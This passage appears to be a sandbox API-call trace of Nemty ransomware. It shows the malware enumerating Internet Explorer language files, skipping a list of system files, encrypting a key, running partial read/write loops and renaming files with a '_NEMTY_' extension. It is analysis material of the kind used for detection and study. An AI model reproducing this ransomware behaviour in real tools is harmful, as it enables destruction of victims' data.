cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0098.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.916] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0098.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0098.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0098.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0098.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdbgui.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdbgui.dll.mui._nemty_kgobjgd_")) returned 0 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0098.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0098.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0098.917] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2=".") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="..") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="...") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="windows") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="$RECYCLE.BIN") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="rsa") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="NTDETECT.COM") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="ntldr") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="MSDOS.SYS") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="IO.SYS") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="boot.ini") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="boot.ini") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="AUTOEXEC.BAT") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="ntuser.dat") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="desktop.ini") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="CONFIG.SYS") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="RECYCLER") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="BOOTSECT.BAK") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="bootmgr") returned 1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="programdata") returned -1 [0098.917] lstrcmpiW (lpString1="jsdebuggeride.dll.mui", lpString2="appdata") returned 1 [0098.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0098.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll.mui", lpUsedDefaultChar=0x0) returned 21 [0098.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0098.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0098.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll.mui", lpUsedDefaultChar=0x0) returned 21 [0098.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0098.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0098.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0098.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0098.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll.mui", lpUsedDefaultChar=0x0) returned 21 [0098.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0098.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0098.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0098.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="jsdebuggeride.dll.mui", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jsdebuggeride.dll.mui", lpUsedDefaultChar=0x0) returned 21 [0098.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0098.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0098.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0098.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0098.918] Sleep (dwMilliseconds=0x5) [0098.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee9d94f0, dwHighDateTime=0x1d561e7)) [0098.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xee9d94f0, dwHighDateTime=0x1d561e7)) [0098.933] GetLastError () returned 0x5 [0098.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0098.933] GetLastError () returned 0x5 [0098.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0098.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0098.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0098.933] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0098.933] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0098.933] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0098.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0098.933] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="L7vlH3+2wIeWjAqdBfZdKDJwliMhHUo1JZrn793N/m06DjhrpvMZVaFBkWN4eR6N\r\n7Xe0D2bRLiV1m0o14CCXugo02BDgKBNTKjRCDin+KTakUTHkmy3TLlxhUDSJNDPC\r\nL1sOaI1KW4oLhWRT0n0DQ+/VlcRvzQfeQXitSNsOV4s0xJ/iGZ81JGc+V01o9kSf\r\nQMElqTYHzKvmjXARj4cEO1X8ZDKmcY75Ws6H1id0tkKLDDqjEwkySEDNp20zrE+d\r\nKCo/jmVONHAugbo9nfWteF9UOj5LnVsBNwajpBrTpcMnknkAfHiFjVHCFPp3fbx2\r\nxVguesnbsjw8Y1V2a9ywNg==\r\n", pcchString=0x653ef9c) returned 1 [0098.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0098.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0098.934] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0098.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0098.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0098.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0098.934] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0098.934] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0098.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634fc48 [0098.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.981] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.981] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.981] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0098.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0098.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0098.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.027] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x634fc48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0099.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634fc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.039] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0099.039] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0099.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc48 | out: hHeap=0x4f90000) returned 1 [0099.039] CloseHandle (hObject=0xffffffff) returned 0 [0099.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0099.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0099.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0099.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0099.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0099.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui"), lpNewFileName="C:\\Program Files\\Internet Explorer\\en-US\\jsdebuggeride.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\internet explorer\\en-us\\jsdebuggeride.dll.mui._nemty_kgobjgd_")) returned 0 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0099.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 